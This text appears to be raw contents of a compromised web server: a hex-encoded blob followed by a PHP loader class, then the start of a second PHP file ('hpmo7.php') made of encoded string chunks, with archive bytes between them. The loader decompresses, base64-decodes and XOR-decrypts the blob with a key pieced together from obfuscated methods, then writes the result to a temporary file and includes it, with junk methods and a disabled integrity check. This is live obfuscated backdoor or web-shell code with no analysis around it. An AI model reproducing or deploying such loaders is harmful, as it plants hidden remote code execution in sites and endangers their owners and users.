e8c1601630ba71efd00127005cb071b766d08c7a9d2ab0f31e95a88f2e82effabe31bf8e4cbe4fef7ae9e468ba429bdb99c64ca7e7f02932999df3861dd992150d7ab8506acf28ff9bc97f841a2e75df713c2f5fc83aad1f94bcb36950d12fdfddabd6d1805ee5cceeb97fe6e5154b2d1f33b6ffbc1fe62bf04748dd0f1838c3ab9c2e760454e8fa2929e8ec7bed3ab27892b12095d5f5c85f6a359ab4bfaa75fbc53fcd4345ff3b50916057215e0cebb498d2a97a6f46dfc343bcb663f89cec28d991100935a286ace76fd0eefe5845a1c845e34f5529ad9fa3ce6ddfe8bc2e217be76ab5f434dbd87d7fc2a59c92b8670606d838b45757e1fb268cb9c39087dfba51f27df3896309458e727bdef736f89d6013c40bc5935fdd77d9477c79dfaf7b57a9770d401a0ee4b02ecc32f444a6c6f4fa98e5fddde6feaa0eae87b8f6fedf773fb009b5ee9c16bff91abfb4361ffe1f76a7bcbfdb34c0915eb197564a0c80494994f887cedf79b5356d5528613b4b9f5d351322668eb8c94fd2afeac7eef99d81e571a9a19ea9e5194dbd38ff937f3b8a6b0da67ac5dc9ba7952f676517cc8a680ddeaef2ff278ed277eca5ee357056219b10029176747cfab5f9555e1148abf20c94342c601edff5f715fd39eb6ef44fb81baf8d909b4b0b80bc992fc826d906cc92f3bb0c1063b81165a1b3efd1d41d2a60d90fcefe6eefae4491dbf48a37366ce9cd1f58ad696d570cb1a3dffed9ffd7189a72c59f3157c8f548862e920388f88bb926c4b5cbccfe0fbb616170e122e22c76cedd76671ce1ffc155f061ce2fd0670fbdc8e9b854d06dabf84e3aa06fe9615c186032ed6f302cbe51437adc0831ace5ecbc2d9b327775856599f349d411e2aede33c65b463d653f60d19ae1ba7c602d792ce3aefdcbf1a93a280f317e2a9d6f4e6730f8f46c82cefe74ffbaab4a250e79f2d8bb45ce78b5ff32fa4a6ca1783a9ee377559372f78d510b94d20fe4d292e9ff4fc73bb1a5ccea3a49ac6fc30051e0bfca8d1fdb04b2b1e517b1d4c67b8f5cf7ca6dbae7c888f768d7e064a951e1f6e8902dadf73cfd2f18a8f13d60555cae45ad9630678fc19013f2751584f95d61396611a2bd8bfc3808ac205befa577d7021f91ecbb17ededff514deed1f9432ffe65be9d6d456dde4e90a1e7a3696fc4e3e0768851135dd169ff9a03b417d15f087dc4cf4fc94f46a7ef7ed790471ade1cc282014359b15addff833ec02c0bbc8eaa4439f0fb05e4c4ee2ba989fb8e3f371e8a1912f3012fec923f45ebe090f46f8f45e6f7ba96fd5215c3d9be14bbf95ddc17f5cb79cb6d9ca6519e017a0648aa3d4a83242cb5bfd10198986b52df329de50f8bebffd9be098e7deec79e7123b887533fdaa1e55b7f3253c935acfdfeb7c363caf3ac4cea623b68d174b3dbfa709624b74e1fc88ecc44454cf9b98a2aeb291e7a431674edd7f5dd4c3f99d7c3641cf62125b95e32bbaa0d596d8a8d7f33f0aa4e7a5f66d10e260f4665e9b9e3a61cbbafe65775981ad8ea55d672313fbf0bcffbdd783bc9c971b69d1e6a27f06bcf61f5686b04c334869a3e74701771ded6320bde7f929e618b67633215170920279d30df3555c6553a04d963976e1fe9cf7fe572f780d193f33d1daf0eb1a6ffc9e77876b584fcf667d897f6d06e75ea0fdbe34a7c2184e7d67f443ca80407cf1617f8c302adfd743b9f8e29c76eff081b3e98b2456eaaf7e67d81f9255539f177fe969129a3d4cc4799e0d9c47cd113dd4d4e17c661d2ffe1b11e0dde859e773b89da9ec8afede5c7aa88003a312d6b9ffd700fc5223ad6f5a29bad1fde20ab683303c9a3e693d7597c6c08fd2b8bfd28f5d5ed91ff92e93c5ca6eb65161e31eeeff8b1d678fdea6a633b82d2fc14df4dc48a6deeb451d514f90dc9585185570f0c6a8da3384aba34776b18e07a961fc67918ea9ea70d647385675740c1c456b2cd2949ef965541553e0bff3603dc8a2be98f90cfb9ea8aff00505987f6be8fc7d4a65cae046d891c1f7355212b3d0063c3435fa09e56eec18bb9cae1bc24531f7da7eaaf52f4edf44a8961611451d343b99e0da488ced176419d695f32d618f340bb86ed63302c7e04968d3208178eff56da1fd466c06875517e4ac465bafd9a5b19e6743cf7a816bd72b01bf4c3cd267941fb4de62e61d0da2da6c19246deef1b08ad888936e3fc2dcf879f6dbbcb27fa9856b5ee78c9c949a1304d8b1cb123684d72a55180972d52fe8f2fe12f8399774abfd41c84bff6543895c92f6c0f833d6f93a07367548e4eea6bf85e87868ad07c644cf8f374b63a9e83a24a3a5c470675ce78bdd1331c3c574a3209e5e9b6f7fb95ec98d1ab1eec1aa0d4ff7fbe53cc44517c0fed8b7986c95ad764419fd32e1d9333287911d9b244ddb99e6bfc0496c880757fd002ecf6b541394a7cb4a760b452ffde211907cad2f26ee169bc52a5ee7b07f8d6f1371b73f149ffbf7a3733f043e3fafdc3756bccf22c3e0ac1f84ece43ef35a46380d948d2feb99f10c984629b2733e67ff35d44529ea353116226aafcd6356418a1a8eaeeaef5fe66f19879c4570993698056d1dcec4786bb700c82b7705675f9589e15c36db26a1dd1070e3cae6b0d9003752cbab795be42485774a30f0a36142aacc8b21d44f60fda50cd6c18d7a14e0e5e7bfe28bc9e8341a1d43952f6da72b53c0992feb790aa13d992794f044e79ff770a37b88f7805f3ae909acf17d9bb2aefb16f5d5c98e0a27450702e7f9846ed47b3dcd65bd945e84682e25017c952de8fe27e0a1045f7b7f97fde1205dffc5724b5991aa47ee5dd3b7bfc653ad0771558643d8ae48b5df32b5bd39ff236eb5bf05dba551604f8d8e0a2932691eec2cdd9de39fa34add807f9e57c9aa668944b57651bdd4df23a5db11daec57677c6fbfcffffde39f7d4bffb70eaa8394eb33fe5b596be9697d31ac3fecd4cd8918dec23a950575724a4f5e16e1e689c7436ffe583d3a02ebf938cfa59ecfc490c0d5eedcffb66af9fbf98d26e2d69ffcc6bb7c5db056f26effea7b7d8443a3608d14ce28f00fb541b6c61bacd2fd0b45e81ea5799997b0db10dabeac67e0bf8d1aaee86ecebb62a0f91bda00dec0b90f6b09cecbc3ab3e22511bd771f9384a288d1c84b260cdb7c2dc63a676c1593fdeb3e05ffdc15ff91c5ca1dbf9a12a749faff0ad37cf6b99b291b2063e08985bd2f3fc373f6a6262f6093ed11c277d32a7c0a77936116a78c90fddb9de056ff047887fd8e6954d3bee3be96163b726d5fced4ffe805aa892d27de8cef58ab26ee1bc741bcdb7606f2f518fb64b636b117a3b9ff8eff34a74d1bfd0e68c4f19c4e2da6206225205565dfdd0feed09cababccd3abc36a7ba7fdaea1bed2f30567c94a23596badf5eeb7308caa4a088c3f770cef9d8ebf9f6abf573f1e2b70ef8e0e2b75eebfc78c962b4cd2647017cba99b90ff9c5dfa23ee38d1c49d1ac6069b2cead14fc051c77c0073b9b518128711bdcef53956c17bff9fe47fda65436211eda09ac8e3ff5df22b524fc33828769f0127884cf53eacd900b906fc8628c50b886fba37c15b64278b27d9899155cf24070d51d43ae8a9b78fc6d3d80862baba693df7e7dd7fb4dbfaeea1de0bd6dafe4def867fd59a81d67e49953587ffe02be0742c3a96a847db31ef599fcb823e60084b2a94917f8a2ef94ae35c8d25e4d5efa4dcd18e812e588594df85428ca3ff3bc2ff99229aa79103cd1656414b3b938f0291aed2d553abc6b424be87c763b4fe03ccf5bda92b5faffb8feb8355579416a63876807474e31c7429ef4feb04cb5b345f788d6dc9bebfe857a4cc573bdd1f380e8a62ed4467349ba500d731c38b2bd885ba9da4f03b96785d98f137155cf75bd1eb0c983b39fe59b7cb14724a5ad5c4e6be1ba9ddb12b92f20666656cb4d9f5611ef832645ea641363aa50970ae53e3ac4bb5fcfbbb1fe5ee747bda99761da79d43eb9bf84c1e6b05e5efd2c17141731ea74be6e40a5da93d07421be14cfc4ac2ef59e6abfb9e891bc31aa77bf26566325159ac1d96013a2e7e374dec7fe0707839b23c0febbe86eff7ebafb62b73b27da30159db4bf6de07cecbfd17e0dea5d9cc83ffad354d7931b1adaebe657843a5f254dae832f41ca4708c5a8cf50fe3c9c305187250ab2b2e975bd2c8f312fb0280777fd37ea6bf5506382d655a6004a4e8d03be567fbb733ddf7a04ecb9e16129071037fed4cfcffe2f42bcc6d3dffae715addffac3f929a64f16c417201ae6841ebe68ff3038cf4b971f00ffe59373fef4a14f08df4d000c864b39aab57967d49471d20e7f2dfad651bc18c7020fa45d2de17a09e31e758ec0a3541144f696e187de773110349e79363cb47f8418510780ff7af59acf46edcdf3fcddfb4b3783dc93f0fed490c17939f38f19c050cf39d7a7696ec84e002708f398e97ae378e534bb1fb8dff5da3b41f2ad03f845b28dd4fa4eeaac4d9526bde72335617c643338cf27d680aaae77afe905eee9c300973ace51cf23a8161a0f11be2516a2696e532acdad8e7f49808dda82fd811ba5fd69be876834632aff81716d92d840b05b2cda89737c51e49e5fcb9bf50cf7aefd692c59def5f378d17bdb1169162f7e9165cc0e37f32fff3eaf3ab68114858d14b39327515ffcff0a6a6f0acb438db4ceb3aff27c128dbcb41d7833ad17e5fc87adf4da0b2dd477470cfc2da9465fe374bb75d73d75ea6082eac34bbe7d74de6f2a56cbec155f4938dfec73bffdcbf91bd6aa6f525c6b7e5e3e79dd6129d0f897dde507e528b83f3ab5b4ff78a4e7f79494bfe65fe08c4fccb14bd4ee4a7ff25d3de144d73fc871d438622c70944b9698b294bd442ad7fb17f06e4f68554bc06b2ac4a30a9966c645415867366ff25726f08542713e4f65a7fdaa1a9d0ffb44fcbba72fa112513872bc3ffa1ccbe369947b73bccb2c915952e6673d036b07cb40715dfffd7e333ff92e9f78bd5e76f5fe6ee80feee00396d4c10cbe6b018b8628d44fe65d71cb5f65cb1aed0970531fbbf2997bd7df2235721ca90659c48d8a48da7652e5d387eaeb8a149dbf0ebe275c4ebd07ef61569bdf0a61ac1d22f3880ef35bf99297ef6106fc50b0ae192474bf7ed50b44f5b9beb05168e0025f2d65e4fe72c5b0c075e13ab5992f131696ed207bf1f3eda3be5d7163a4fb1b91ce6f14b50b7c305ba37561bde23fad0791d8e5fe592f9a5bfa7c4b6427b5def1b61e49ed423e086ef15fd5e4f135bdd49be7a56ebddfa1bab14997ad98211aaf8323a0299e25758d28cd396e6b0278219d45a313311981fd816c7be82f8c9d445aeecfc6cbfcf9a0fdf4b3a9aa03a6fd22936d60c319c1f1e897cfc7755aa3fe554f13c1316129ef961fd482f7a8bca3bf3a7aea0afffd4b6f517a493c7ed31f70f69b73cef93ab1b7174a98706ee8fa25e547fcc3a765c28ede4f89dc750ce0d439fb13363bb6761532c7117fe4367e32e9b4ef33eb4f7df5dff502f820706fea8b819f3b4976749ac342cf2b827815ebf96f16df223dff08f0a4d66f648bfe03bcfbc85711e76ffa03d00b7e7127dee6e0135c5810eff3ecd2bfea87ad2acbe6708cf1e0ec2f60f5c5f72935228b8907dc899fea095e98c6439b0e5bc7fd51f37305df322288e9fe8febf59ef2d966e64dbc8b05753ed217ffa31f3afba912d4e257be253ec77f5fe3cbb9df8af601f11e4de176831f36cb52bb192682e69fc16b2fface5dc2baa183380dfdf5604a7a399f1abba030f6df6c8a3cad1ffa337f06bdcefb4c6df370d79feb637db1b790dda0571abf440d4e61d1ea79b82411b5c3c28573a2d47e3a9f4782f281affda5fc13c453435805c34188f23a46f9e24ebee4c6f3bed41b1b1ece4e54eb7773571dd4148fbfc76ceb01af5b256adfc0f91e2931f8cae87e14a5d92ee55dfa3fe2fb97f85c9de7c7dfd423bdd58bda83858bbb1c218360ee5980c7e5c7fe6b77fa032c7715705c249492573f198b0de894613dafe87f382f874b6c892076e82a10bdbede0c73c0d2c7b14bdb57fffbe680daca7d8fffaaa1739448f73b93ba0a1d002a717b20e4d47088a76adeba9ff4abda4e951855b13afbfdab88e3a51023611ff75ba746a915d75974f49279a5f55701b3d14e8651ef125bcea66dad42563e9306007457591ff4435ce2e9f361a58e817d331efca5e71fed82ae8800ff5552155a2f5fa83ad3fad894c4a3c3b91f6263427c312681cab9d58da637f5119fecaf401bb34c0967f3a64f311a001ecae6feba63aa5613b7ada58786665ca979da14da03fabbae87a6f5609cd2c3303ed22c45f54498e13cb99d3f7dc7575fdfdf15bd7270f16b1e6b8f2513634ff76fc9e8d47be57a2c2cd401d3df2f82935ca6aafd4c3fc94bffc745cf1535f9d4d6f5e94d63f9a82e2c833998639ac3fae654eafee96d889bd679c8f394ed028eb6cf5e37fec6bbd1b0bcf8efc6d82889ae2f102b1c452ff825dd548e1ff780730652f3854f7d0f2ebe9cf71bfb44fc7b362ef94e264a8f07cf16121002ab156587a7a01efa4937ded96637b0498512dce7a4725d6afd6ff839ed2ef3123231f4c5f97a68408e9da7e0792d6e78ba1e4f5a1361a2fd59d53bfc7c450fcc28ee7e7ca4ef7c9f8fcd826023597a45eff8a6bff62156796fc51dac956c2a945bb10dfd855b33214f55f2aacfd1fdba1fc58395d4c5956a78531ff1e6fe125d67a980441ff93269ab29f055775657a3b86e12d60f90cec77a3cc4a2cb4c8e5c38df385380a360fffaec240d0bb09ef3d42c223def490c5301bfa4b5cca1d55b2ccdb240b478560fb78ed1a5b82994d5f54fa1f69f013ea3eaca246beec51c13aa6b914fd9d669cbb94a61993e86ea56bdf1c3fe85ce98a0aec2ec41d49885738dafe0fe6cafdf01cc0f04e155e03e42fcabeab4642c98a142fbf1004e1d78cc646b5d0f4d9a50ebff4e1ff099b7ebd9856b2fa766919dfd5439ac67ec4e212068fda4d0fed451a54efafbda5ce79f29b22ded670ef1d982233e72ed79eb8d111a5936626c1e052bd1046c5a151ffb4faa36403c4898733f5edde927b9e48b45d192c72bfd06b0fe62eb9feff16c2ade8ee625ec8f901bcfba5f03a171fa0e5f3d0a12f32240bd9abfd643e1fc0821ce39befa7dbec1f3168cb39d8e7f74558d6abb2ab7f364f794b0fac782eefab42bbea5a22a2ef3cbd4346a812f3c5ef4cae88420feb904d669091f9e105ebfd513aa8b9fdb9f7cec8a0f17fc4dfe4fa1ad832bace7ddbdf871ffa36f6255e99fca89547bdf33b6ace8b2678b555e5c8d3c2c74bf46758d6f65d626abdef6e7e9fbc3683cd1f930e01f2e7138bcd57215d2fdd9bfce027ca5fb6183362b212e98aabbaa3fa5da5fd426ae3311e309e00d78effb89d6c7a6aaf100bf2ca66dfe9d98724291fb8b687f81a82c65b71fc06b3ea964904954d98c9599dac8de32ffc16b5a3f898cd93f7ccbb0da2c254d8181affef4ab019c6fdb6f51d35fdd1f6a63a691c55773fcda7fd971772d672956939932e0fd551552199ee87959ea70e9176acb87a4457a3edd49626a5bcd9092637170747ee373fdc4efe7795d7b7faff94452957380ec5acbff071f6c43afcdf530f16bfd5b6ff65b33c3d500b3b49a3aaa8f6cbb4a14419ecfd1fdfcb3b97fdfcf7e23dff9d27f9453b14d2dd52ebca89949d5b95383ce0beeeee179270c35da0fc5f0d0216172fb4d99fba1b5ce7ccd1768dd215823cd44ede638c6ff459b01bc1f51e0aa62a8ef8a30d19e1aed047f22df89f9a55f3289dd817dd6b35efc9626159c0b4630b558bb98c4195586345de3203c3e04be90f910cb42ab1e68fddf3ffe2001e01efafcbb9ebc8177e5d45ed9f43f3f93bf9f2061f17a68c492d6e4594d93cab0312a6cb6196ea2f610abc73c894fa3e97413168ed6c70a54e43665297bd96fecdc2ffed63fd1105c0e97104d2c2b98aadad0f5c610f05f1ddcf5cf2e93a5690aef4e7fb2b03a16dfe6830cf1ad78d3bfe5c1c64a4399411cca3835d407f58fedc13271849f765fe0fb2ea70c25167719bc9cfbf9dd4b3feca7f83441466a0b9c079b6aaeba9d1b9aac0c2af41d01cee4ddc0053ef8ea5fa7f570e64b7fbc8f2b086f5aef6878da6fbd589e1adbebeaff58d74dfcbfe63301e334d576f609bef5ae9ef7767eb74d89aa766e601c520fef53dbd807673d3aceb47f629c70a3bff4c36aff7154918efa0e4727acc6c65bffc958ee986cf8cf4fe4c7b79265b5b3e9835874316a996daf070dec5585a36e01b87556c2927af1ab2a665aaf6c04b3b26ed319c43fa20a4be70f283ffbdfa7257287aaed523b2af0f2f77a1e34b6d82e237b9b67ec6ebddbe026e0977bfa88bffb5d3ecabffcc08c4fb0b1f5599d9d0259ddcc27bee86d159cdb538f790f94ef2da7ad13e0d3ae320ff7f90ce726da0cafe9d1dfdd9f7f1ccd051c9b2e802abd7fc96fff3ad6643c4c003f7f8b15827b2ccef321cef8f4287796d9f3737e2da2b389a88b8b9f11fa2fb4064e7199f73e9fd5c1e1455f12849fe1bfefceb742b847174b5645f07d45a8f2effff80972d6c9af70be753802cc408b04b822235170a9efd79eaf4eddd645ed9c54d465884e164fb54b7031fe7ff117f8333f8f2f04df1238df9260ddccb85dcd7cd62f3c3c7aad0f52c07cb5ae77f37aab0dab8d8985b0aa28fcb1c09bfe5ecf7d113db6d6bc75f35972977f5ced9f7e5b2f132a5f3a77faf3747fe31bfdfdec8c5f64a9203ed791b8dd4f7c5e2f0c2b8ca885d8f6e1e27f75605356cf43547e749ebff6af7e94af7bd73f087cf04b28ab28ad86c02ff743ed575556dabb15bfed9f162a06ccd45ff865dce879ef8df6e3095d465961fed5cfde4fd0d04e4d6c1054e979f401c4ab05352863d1e809a32ab562dd2fc4f3c2187c80370e0461d4ddeef7bbe3aff234982606bbb67fbf028ea580072a0e3f514f5b9ce08292caf3ec63a3fbb1e7d2e12e89687ceffe247bf1a7699be314efd233ffbdf46f4d6d9ecd703d4a85cd753fc91f7ed4f489d5211ff3225a3e04b93282af5edbfb211ef9977835f6a5d19ff226e096326b82eba17f3426094633384b33b5e686d3e419beb3fe5efd0f626a14f4dcbfb53f85625826b2beae1f5223156d0e697232ac4957683f1ecb26dc774fee4c3c5ff4254bd97f499069458d8a64631e33e9197afe11459ff0df78d36ff5daff16f483910df88acb6266e1ca0cda82eb7cacadb62d4ee44ad19258c87560bdac111fa96b7e6e599a9758605256c52c6ffbad702a8f1843d8bf2fcf7bcd8f22fdc08fe74ebfc6ff9c9fdc042435b3ccd7fe34783f401433f7054f6a7ef47abd3bf5416f26eaf0ec7f8a0d4ff37d49dda5cbf2a430f63f10ab12ca76535c195be0e765c2b54060ff15d6f34cf12d47ebcbfc5acf3463eb54099a86caea4c5d33f13fc8d77d5d54c02fff797f8911586cc3f7bfebfbb6497da4662ffe6b9a5fea7cf6735ac934e8f89e71e0bfea40007ffdf015ff3fff17';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmdxmAuu72', 'kmPmrJCl95', 'kmafZWQH11'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtwbAJnN24', 'gtUcLguX45', 'gtBpFZGg19'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'be419b16b68ba7498641825da374e169') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_SQpydAIh20($plain_code);
}
private function kmdxmAuu72() {
// Key segment 1
$buf = (bool)mt_rand(0,1);
return base64_decode('OFFrSGw5ZQ==');
}
public function pubVriXe41() {
// Public method 3
$jv1 = (bool)mt_rand(0,1);
return 'valVHTe26';
}
private function _execute_SQpydAIh20($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function kmafZWQH11() {
// Key segment 3
$tmp = 1478;
return base64_decode('ajI3alQ5');
}
public function pubkncib24() {
// Public method 4
$tmp = unpack('L', hash('crc32', microtime(), true));
$tmp = unpack('L', hash('crc32', microtime(), true));
return 'valwJhi30';
}
private function dcsICtwm89() {
$tmp = str_rot13('ebgoQefg50');
$buf = base64_decode('ZGF0YUdLUmtCZjQ5');
return null;
}
private function dcZoGNzA49() {
$jv1 = base64_decode('ZGF0YW9ZdkphdDc4');
$jv2 = unpack('L', hash('crc32', microtime(), true));
return null;
}
private function kmPmrJCl95() {
// Key segment 2
$jv3 = str_rot13('ebgEKPtD15');
if (90 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
return base64_decode('Y2dsZHlGQQ==');
}
public function pubuzUMk74() {
// Public method 2
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
// cmteJjd17
return 'valJwip27';
}
private function gtUcLguX45() {
// Gate piece 2
$jv1 = str_rot13('ebgfUtgz96');
return str_rot13('m0h6');
}
}
LoaderlgGVyM29920::init665();
// EOF
PK �Um\�U��S� S� hpmo7.phpnu �[��� <?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);
$SMpiPHfV = array('W0csJyl4xmo9j3SuiSjlXQnFxr2ruyayrydN7wgRj20JRF5PeesdinbHFFVJq9Y08b+Gx5kBvgDP1cVu', 'W5ttxAsXdIZDi+7zLf3FblOLbcQTFx9/e/mFsE3F5J2DK/+XaVxUxWvYdmD1za8FEKN1r0ivjHVzi6Tz', 'Te2PbkuTJ8S7z+z9e/mFkH2P5C1r+QYNM30fzUOzhbBNxeQtQ7MG7xt9H8Vb+YUKfY/knfNBpz2Bb/ee', 'yFldyGYHxA5QO5+F0YUkdUuLpPN97Y9u40v1rxt9H8VLs4UAlV2HPXvYTZdpXOwV86ve0gb1nwUQq1Wv', 'SK+MdUODpPN9/Y9u49P/l2s/1kdjGZ1axZ1c9ghB9v8DLZalsDscsp937WcrK8+/aVw01SHYVIAnrqc1', 'EItdxDsfH81T+YWIRcXkLUPYRYcjXEz9IdjGsG2uny0Qu3XlSC9EhnODpPPX/cVuU5NtxBMXdIZ7m+7z', 'de3kr2v5Bo8LNx9/U/mFmF3F5C1Dswa/Gzcf5XP5hYBFrr8le9hNj0gXXO0AIdbSBsWvBRCLRa9IF1SG', 'a5vu81X9xW5zmwavCzcf1VP5hYBFriUVMdh9n2lcZNVr2O6gJ64dPTHYfZdpXHzFAPPW0gbtv27jO5e1', 'AR3W9zkR/HLPp9+d2aMnxCMXdIbRq6TzRfXkp2v5BrcLXFTFa9j+oCeupz0Qm1XlSA9kpwCb1tIG1adu', 'c5sGtxNcbN0h2N64ba6nJXvY15dpXGTVIdj2sAZvn08Qk1XlSB9U7QCz3pgG7bcFEKNVr0g/bKcAq/bS', 'BvWvBRCTTcQDDz6GQ5vu89f9xW5riyfEAxcfzVP5hbBNxeRFQ/kGlws3H81L2O6gJ663LXvYZbdpXHTF', 'a9jWsG2ulx0x2Me/aVxk1WvY/qgnro89Mdj/l2lcZNUh2OawBoW3TxCbXcS7v473SZlMgj8FFy1bswaP', 'AzcfxVv5hZBNxeSdG9PvjxuVbNVrIZ2ixQ01x9mhhw1BZ+xPe/mFmE3F5L9j+QaHE1zW/SHY9rAG5bdP', 'EKNV5UgfZKcAm9bSBv2fTxCbVeVIJ1yGY6uk83X15B1DswYVG30fxUuzhahNxeQVU7MGtzt9H81b2M6g', 'J66nJXvYbZ8jXFzVa9j+oG2uhx0x2HW3aVxEzWvYzrgG/acFEJtFr0g/RKcAk87zTe2PbumLJ8QjF3SG', 'U4uk803l5AVTswaXG30f5UPY7qAnrrcte9h1t2lcVN0Ao9aYBtW/TxCzVeVIpUynAKPGmAbNl08Qs02v', 'SKVkpwArZmJ356WnYeGtNxsfdIZDi6TzZfXFbuPTDS0DD9b1U7N861dtR7+5EX9FgVUkdcmjpPNt5Y9u', 'wasnxLEnPoZTg4WAdY/kJVOzBr8LNx/Fe/mFsEXF5D1D2EWXaVxk9SHY5rAG3b9uY4ttxJkPPoZDk+7z', '1/3FbmubbcQ7Hx/NW9jOoCeupyV72C2faVxc1WvY/qgnroctEKtFxJkPPoZLk4WwXY/kTUv5Bo8bfR/F', 'U7OFMnWP5CVD+QY9G30frVP5haBFxeSvY/kGrws3H9VDs4WQRa6PLXvYVYcjXGz1IdhEiCeunzUx2H2X', 'I1x0xWvYxrhtrp89Mdhlh0h3TKcAm97z9U11H1mZz7Vx9+zFW/mFkF3F5C1L+QY3Q1f2zVMR9qBtV/w/', '03vXbYElnk8J43Y6fY/kRUP5BhU7fR/FW9hMiCeuly0Qk1XlSCdMpwCb/tIG7acFEIt95UgfTKcAo8bz', 'Zd3FbmODBrcbNx/dS7OFsE3F5DVbswa/G30f9XP5hTJ9j+QlU7MGPRt9H61b+YWwVcXkFUOzBqc7fR/1', 'c/mFIlWP5K9j+QaPCzcf3VP5hZhVj+SvQ/kG7xt9H0dz+YW4RcXkl0P5Bq8DNx/VU/mFuE2ujz0x2FWH', 'I1x8xQCz1tIG/acFEKt15UidZKcAo9aYBtW/TxCzRa9IH1TtAKPW0gbNl08Q81XlSB9EhvM7FIJP7y0f', 'KXOtLQMP1vVTs3zrV21nndGLJ8QjF3SGW5OFIlWP5BVD+QbvG30fxVuzhahVj+SnQ/kGpxN9H39b+YWo', 'VY/kDUv5Bi0bfR9/W/mFqFWP5CVD+QanE30f9UuzhSJ1j+Sds3n/haHVB1/JqeRQ1wctF5ERD/+7lWSn', 'ALPOmAb1r27poyfEGwcf9UPYzrBtrp89MdhFl0gfXO0Ai/7SBu2nBRCjdeVIP1yG6aOk83X1xW5Lk23E', 'sQ8+htGLpPN9/cVuY6snxAMHH81T+YUKVY/kRUv5BocbNx/9W/mFkHWP5B1T2NeXaVxUzQC73tIGxa8F', 'EKtdr0gXVIZLm+7zReWPbnuTbcQbDz6GS5OFmFWP5D1TswanO30f7VP5haBFxeQdU9jHv2lcZN0h2P6o', 'J66PLXvYRY8jXGTFa9jmgCeuzz0x2P+/aVzsZZGpzLLP393F47tVr0g3VO0Aq96YBl3vZfmTVQ07D3R/', 'GIlGUNcH38WAQK682JRfpsjAHSOWBkQu+LiFbwulPNVTs+aYHn8nzXOzdS0TJ9ZXGHFGUP9fNYczMUU9', 'UI3cjemT1jp1/Y+XCInF/7uNTKcAKxYAVf3FbtmLJ8QjF3SGY5Pu8/U9Fy1L+QavG30f5VOzhQANVxW/', '+fvvh7FEzkU7K86gJ64lPTHY9Ve7N1ztABHW0gblpwUQo13lSK+MdWub7vN17Y9u49Nlrzu1RP3JCZ1a', 'xZdPLen7VZcjP3Se0RsmYtdXB/+JcUc92RXOtbiAJLq3ldWvaSmuJ9Edhl87K0yIJ66XPXvYdZdpXFzd', 'AIve80X9j25Dk23EExd0hlOb7vPX3cVu6aMnxLvPtCX5CfYi74WXJQgZxSTbr9b9IdjegCeurz0Qi0Wv', 'SB9c7QCjxvNd7eSva/kGtxN9H91Ls4WwTcXkv0P5Br8LNx/lc/mFsF2P5D1bswYVG30f1UOzhQp9j+QN', 'Y/kGtxNcfPUh2M64ba6vPTHYRZcjXOwV86Pe0gbFvwUQo03lSK/8H6EhTMDvBqz2mOOudTAMPmWZmRwq', 'PV2vPTHY/5dpXGzFa9h2YPXFpwUQm0WvSK+MdWub7vNN7Y9uY4MnxJkXPobzS3aIVcXkRUP5BjdDf2Sl', 'c4P+oB6HJ12RsFVNIGeGB1hwHRCf7323KyvPv2lc3tUh2Pagba6/JXvYVZdpXM71IdjGqAbdj27ZoyfE', 'Oy8+hlOb7vNV7Y9uQ4snxDMfH+VD2PaoBt23BRCDTa9IpUynAAnW0gbVpwUQk03EOw90hkub7vNF7Y9u', 'Y4ttxBMXdIZzm+7zZe3kFUvYdZcjXFTFa9jGqCeuLT0x2G2PI1xEzWvY5qBtroctEDF95UgvRKcAg86Y', 'BtW3BRCrVa9IF0SnAKPW0gbdl08QGX3lSBdc7QAh1tIGxb8FEJtd5UgnRKcAu/bSBt2nbnOLbcQDBz6G', 'c6uk88fVxW5rgyfEMwc+hmuLpPP//cVua5ttxCsfH/Vz+YU6fY/kPUvYdbdpXFTdAJPGmAbltwUQIVXl', 'SDdMpwCL1pgGzaduY6snxDMHPoZDm+7zVeWPblubbcQDF3SGW5Pu8/f9xW5jqyfEiSc+hkuLpPPH/cVu', 'e5ttxBsXdIZjq6Tzde3kLUv5Bq8DNx9HU/mFgEXF5CVL+Qa/E30f9XP5hTJ9j+QlU7MGpxs3H+1bs4Ww', 'XY/kDWP5BocbNx/NU7OFkFXF5D1bswavAzcfxVvYbNIG/b9uY6snxLvPtI7zm9bSBme3TxCTVeVIF1Tt', 'AIPOmAZft08QKz6EMMR/nsN7/ILvDx3v+XH/DSklng9BeRYAdd3FbluDBo8bfR/NW/mFClWP5AVD+QaX', 'E30f5XP5hYB1j+QNQ9hlv2lcfNUAo/bSBs2nbvmjJ8Q7Bz6GW5Pu8//9xW5Lk23EMx90hsGrpPN19cVu', 'W4snxAsPPoZzi+7z1/3FbmOLJ8QrLz6Ge4OFgFXF5CVD+QaHGzcf1UuzhZhNxeS/Q/kGpxN9H+Vz+YUa', 'fY/kHUv5BhUbfR/9U7OFgF2P5CVDswa/Czcf9XP5hTJ9j+QlU7MGPRt9H+1bs4WwXY/kFUOzBqcLXGz1', 'IdjmoG2urzUx2HWHSJ1kpwCj1pgG1bcFELNFr0ilTKcAo8aYBs2nbmObBocbfR9PU/mFuEXF5K9D+Qaf', 'Azcf/UuzhYB1j+QlS9hNl2lcVM1r2O6wba4tPTHYZYdIL1yGQ4Ok8yX1xW5biyfECw90hnObhbhdrq89', 